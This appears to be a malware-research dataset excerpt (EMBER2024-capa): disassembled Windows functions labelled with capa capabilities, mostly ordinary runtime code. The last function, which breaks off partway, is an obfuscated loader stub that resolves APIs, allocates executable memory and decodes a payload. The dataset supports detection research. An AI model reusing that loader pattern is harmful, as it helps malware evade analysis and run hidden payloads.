joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46aaf0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x46ab3b
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x46ab01
pop edi
pop esi
pop ebx
ret

Function at 0x46c907
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x46c946
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46c946
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46c946
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x46c946
cmp dword [ecx + 0x74], 0xe
jbe 0x46c946
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x47ae8f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0046bf80
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00486254
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x47aed1
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x47b02d
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0046bfb0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4b4fa0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0047f232
mov ecx, dword [esi*4 + 0x4b4fa0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x47b026
cmp eax, dword [ecx + edi + 0x24]
jne 0x47b026
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47b026
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0047f232
add esp, 0x14
test edx, edx
jl 0x47b026
jg 0x47af9c
test eax, eax
jb 0x47b026
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x47b026
jl 0x47afb6
cmp dword [ebp - 0x1008], eax
ja 0x47b026
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x47afd4
test ebx, ebx
je 0x47b00d
cmp ecx, edi
jae 0x47b00d
mov al, byte [ecx]
cmp al, 0xd
jne 0x47afee
lea eax, [edi - 1]
cmp ecx, eax
jae 0x47affa
cmp byte [ecx + 1], 0xa
jne 0x47affa
inc ecx
jmp 0x47affa
movzx eax, al
movsx eax, byte [eax + 0x4b3600]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x47afd4
cmp edx, ebx
jne 0x47afd4
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x47b02b
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0046bab9
leave
ret
Function at 0x47e5d0
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x4a7b48
push esi
call fcn.0048a852
pop ecx
pop ecx
test eax, eax
jne 0x47e5fe
xor al, al
jmp 0x47e67b
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.0047e305
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x47e638
push dword [ebp - 0x210]
call fcn.00479748
xor al, al
jmp 0x47e679
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x47e63e
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x47e65e
push edx
call fcn.0047e507
pop ecx
test al, al
je 0x47e629
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x47e66c
mov bl, 1
push dword [ebp - 0x210]
call fcn.00479748
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0046bab9
leave
ret
Function at 0x484989
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4b4fa0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4849c9
cmp byte [ebx], 0xa
jne 0x4849c9
or byte [edi + eax + 0x28], 4
jmp 0x4849ce
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x484acd
mov dl, byte [eax]
cmp dl, 0x1a
je 0x484ab0
inc eax
cmp dl, 0xd
je 0x4849fa
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x484a20
cmp eax, ecx
jae 0x484a2e
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4849e2
jmp 0x484acd
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x484aab
cmp dword [ebp - 0x10], 0
je 0x484aab
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4b4fa0]
test byte [eax + edi + 0x28], 0x48
je 0x484a85
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x484a70
mov byte [esi], dl
jmp 0x484a81
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4b4fa0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x484acd
cmp byte [ebp - 1], 0xa
jne 0x484a94
cmp esi, ebx
jne 0x484a94
mov byte [esi], 0xa
jmp 0x484acc
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0047f250
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x484acd
mov byte [esi], 0xd
jmp 0x484acc
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4b4fa0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x484aca
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x484acd
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x484ad6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x4b4fa0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x484b1c
cmp word [ebx], dx
jne 0x484b1c
or byte [eax + edi + 0x28], 4
jmp 0x484b21
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x484c84
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x484c64
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x484b62
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x484b98
cmp eax, edx
jae 0x484ba6
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x484b3d
jmp 0x484c84
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x484c5f
cmp dword [ebp - 0x18], 0
je 0x484c5f
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x4b4fa0]
test byte [eax + edi + 0x28], 0x48
je 0x484c35
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x484bf9
mov word [esi], cx
jmp 0x484c30
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x4b4fa0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x4b4fa0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x4b4fa0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x484c84
pop eax
cmp word [ebp - 4], ax
jne 0x484c45
cmp esi, ebx
jne 0x484c45
mov word [esi], ax
jmp 0x484c81
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0047f250
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x484c84
push 0xd
pop eax
jmp 0x484c40
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x4b4fa0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x484c7e
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x484c84
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4887e5
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a96ec
push 0x4a96e4
push str.FlsAlloc
push 0x1f
call fcn.00488610
mov esi, eax
add esp, 0x10
test esi, esi
je 0x488819
push dword [ebp + 8]
mov ecx, esi
call dword [0x49732c]
call esi
jmp 0x48881f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x488863
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a96fc
push 0x4a96f4
push str.FlsGetValue
push 0x21
call fcn.00488610
mov esi, eax
add esp, 0x10
test esi, esi
je 0x48889a
push dword [ebp + 8]
mov ecx, esi
call dword [0x49732c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4888a2
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4a9704
push 0x4a96fc
push str.FlsSetValue
push 0x22
call fcn.00488610
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4888dc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x49732c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x48a370
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0048a2ec
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x48a4df
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x48a4df
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x48a494
jg 0x48a3cc
test eax, eax
je 0x48a48a
push 1
push 0x1000
call fcn.0048830e
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x48a3ef
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x48a481
push 0x8000
push ebx
call fcn.0048237b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x48a418
jg 0x48a413
cmp ecx, 0x1000
jb 0x48a418
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00485bf3
add esp, 0x10
cmp eax, 0xffffffff
je 0x48a45d
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x48a413
jl 0x48a444
test ecx, ecx
jne 0x48a405
push dword [ebp - 0xc]
push ebx
call fcn.0048237b
push esi
call fcn.004872d2
add esp, 0xc
xor ebx, ebx
jmp 0x48a4ed
cmp byte [edi + 0x24], 0
je 0x48a474
cmp dword [edi + 0x20], 5
jne 0x48a474
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x48a47f
mov ebx, dword [edi + 0x18]
jmp 0x48a481
xor ebx, ebx
push esi
call fcn.004872d2
pop ecx
jmp 0x48a4ed
test ecx, ecx
jg 0x48a456
jl 0x48a494
test eax, eax
jae 0x48a456
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0047f250
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x48a4b4
cmp byte [edi + 0x1c], 0
je 0x48a456
jmp 0x48a4e5
push ebx
call fcn.0048a282
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x48a456
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x48a4ed
cmp byte [edi + 0x1c], 0
je 0x48a4ea
mov ebx, dword [edi + 0x18]
jmp 0x48a4ed
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0047f250
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x48cbbb
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x48cc06
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0048cd56
test al, al
jne 0x48cc00
sub edx, 2
cmp edx, edi
jne 0x48cbe6
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x48cc28
lea eax, [edi + 2]
cmp edx, eax
je 0x48cc28
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0048cb07
add esp, 0x10
jmp 0x48cd22
push esi
lea ecx, [ebp - 0x255]
call fcn.0048cd56
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x48cc6b
push dword [ebp - 0x25c]
jmp 0x48cc18
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x48cca8
cmp word [ebp - 0x226], 0
je 0x48ccc9
cmp word [ebp - 0x226], ax
jne 0x48cca8
cmp word [ebp - 0x224], 0
je 0x48ccc9
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0048cb07
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x48cd15
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x48cc82
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x48ccfd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x48cd22
push 0x48c937
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0047a460
add esp, 0x10
jmp 0x48ccf2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046bab9
leave
ret
Function at 0x48d638
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x48d6d5
push ebx
push esi
call fcn.0048d601
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0048accd
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x48d682
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x48d6d4
push edi
push eax
call fcn.00488e12
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x48d6a2
call fcn.004872d2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x48d6d3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0048accd
add esp, 0x20
test eax, eax
jne 0x48d6c1
push edi
call fcn.004872d2
jmp 0x48d6c9
push ebx
call fcn.004872d2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x48d6d8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x48d6e9
pop esi
ret
push ebx
push edi
push esi
call fcn.0048d601
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00488e12
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x48d711
push ebx
push esi
push edi
call fcn.0046d330
add esp, 0xc
push 0
call fcn.004872d2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x48de6b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048d986

Function at 0x48fe12
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00486ad9
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x48fe81
cmp esi, dword [ebp - 4]
je 0x48fe7c
cmp dword [ebp + 0xc], 0
je 0x48fe7c
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x48fe59
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0048f964
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x48fe83
xor eax, eax
inc eax
jmp 0x48fe83
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x48fee8
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00486ad9
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00486ad9
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x48ff5f
cmp word [ecx], dx
je 0x48ff5f
mov eax, dword [0x4a9c94]
push edi
dec eax
push eax
push 0x4a9b80
call fcn.0048fe87
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x48ffd2
cmp word [eax], dx
je 0x48ffd2
mov eax, dword [edi]
test eax, eax
je 0x48ff83
cmp word [eax], dx
je 0x48ff83
lea eax, [ebp - 0x10]
push eax
call fcn.0048f86a
jmp 0x48ff8c
lea eax, [ebp - 0x10]
push eax
call fcn.0048f905
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x48fffc
mov eax, dword [0x4a9b7c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x4a9870
call fcn.0048fe87
add esp, 0xc
test al, al
je 0x48fffc
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x48ffc7
cmp word [eax], di
je 0x48ffc7
lea eax, [ebp - 0x10]
push eax
call fcn.0048f86a
pop ecx
jmp 0x48fffe
lea eax, [ebp - 0x10]
push eax
call fcn.0048f905
jmp 0x48ffc4
mov eax, dword [edi]
test eax, eax
je 0x48ffe9
cmp word [eax], dx
je 0x48ffe9
lea eax, [ebp - 0x10]
push eax
call fcn.0048f81f
pop ecx
jmp 0x48fffc
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4900c7
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0048fd0c
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4900c7
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4900c7
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4900c7
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x490054
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00488a7e
test ebx, ebx
je 0x4900c2
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00488a7e
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4900c7
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4900c7
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00493939
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4900c9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046bab9
leave
ret
Function at 0x49348c
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4b3440]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x4934cf
call fcn.00475bfe
mov dword [eax], 0xf
call fcn.00475c11
mov dword [eax], 0xd
call fcn.0047a11a
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046bab9
leave
ret
test eax, eax
jne 0x4934d6
inc eax
jmp 0x4934c3
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x4934c1
xor eax, eax
cmp ecx, 1
setne al
jmp 0x4934c3

Function at 0x495340
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x49536d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x49536d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1002aaee
pop dword [ebp - 0x24]
mov eax, 0xc8ea9264
sub eax, 0xb8e7e776
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf72ea2b7
sub dword [ebp - 0x34], 0xa8dc5d6c
mov dword [ebp - 0x30], 0xca920cfb
add dword [ebp - 0x30], 0x67a13f4a
mov dword [ebp - 0x2c], 0x378ae251
sub dword [ebp - 0x2c], 0xeb3e9e23
mov dword [ebp - 0x28], 0xaa489e4c
sub dword [ebp - 0x28], 0xaa489e4c
lea eax, [ebp - 0x34]
push eax
mov eax, 0x1342d7e9
add eax, 0xfcbfe84f
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xa255ba8c
add dword [ebp - 0x34], 0xd21caeca
mov dword [ebp - 0x30], 0xafe7a1c5
add dword [ebp - 0x30], 0x9184bfb0
mov dword [ebp - 0x2c], 0x98072cbb
sub dword [ebp - 0x2c], 0x3497c04f
mov dword [ebp - 0x28], 0x80604b13
add dword [ebp - 0x28], 0x7f9fb4ed
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3795c
push 0
call eax
mov ecx, 0x8bd11b6
sub ecx, 0x8bcc53e
xor esi, esi
add esi, eax
mov edx, 0x299a17b6
sub edx, 0x199681b6
add edx, dword [ebp - 0x24]
mov edi, 0x5ff060b8
sub edi, 0x64684d00
add dword [ebp - 0x20], ecx
mov ebx, dword [edx]
add dword [ebp - 0x18], 0x3108720a
sub ebx, edi
xor dword [ebp - 4], 0xd2542aeb
mov dword [esi], ebx
xor dword [ebp - 0x10], edx
add esi, 4
add edx, 4
loop 0x1002ac0d
add eax, 0x61f0ba64
sub eax, 0x61ef95b1
xor ebx, ebx
add ebx, eax
